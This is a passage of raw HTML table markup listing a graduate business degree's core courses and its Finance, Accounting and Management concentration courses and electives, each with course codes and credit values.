<tbody><tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CODE &nbsp;\r\n  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n  &nbsp;&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p><strong>&nbsp;&nbsp;COURSES</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p><strong>&nbsp;&nbsp;CREDITS</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p><strong>Core Courses</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>ACC 801</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial&nbsp;Accounting</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>MGT 800</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Applied&nbsp;Business&nbsp;Statistics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>MGT 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>ECON 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Managerial&nbsp;Economics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>ACC 840</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Management&nbsp;and&nbsp;Cost&nbsp;Accounting</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>MKT 840</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Marketing&nbsp;Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>MGT 860</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Strategic&nbsp;Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p><strong>Finance</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p><strong>Concentration Courses</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p><strong>&nbsp;Requires five of the following courses</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 850</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Markets and Institutions</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 851</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Investment Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Taxation</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 870</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 880</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Reporting and Analysis</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 890</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Advanced Corporate Finance</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;<strong>Major Electives</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p><strong>&nbsp;Three major electives can be chosen</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 860</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Accounting Information Systems</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 885</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Statements Analysis</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 835</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Bank Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 900</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Accounting, Finance and Law</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;EMGT 810</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Quantitative Research Methods</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;<strong>Accounting</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p><strong>&nbsp;Requires five of the following courses</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 810</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Auditing</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Taxation</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 860</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Accounting Information Systems</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 870</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;International Accounting Practices</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 880</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Advanced Accounting Topics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 880</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Reporting and Analysis</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;<strong>Major Electives</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p><strong>&nbsp;Three major electives can be chosen</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 840</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Management and Policy</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;ACC 900</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Accounting, Finance and Law</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;<strong>Management</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;<strong>Requires five of the following courses</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;IB 820</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;International Business</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 825</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Management and Cross National Environment</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 835</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Entrepreneurship and Enterprise</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 845</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Human Resource Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 848</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Leadership, Power and Politics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 865</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Organizational Development and Change</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 890</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Global Supply Chain Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;<strong>Major Electives</strong></p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;<strong>Three major electives can be chosen</strong></p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;FIN 840</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Financial Management and Policy</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" 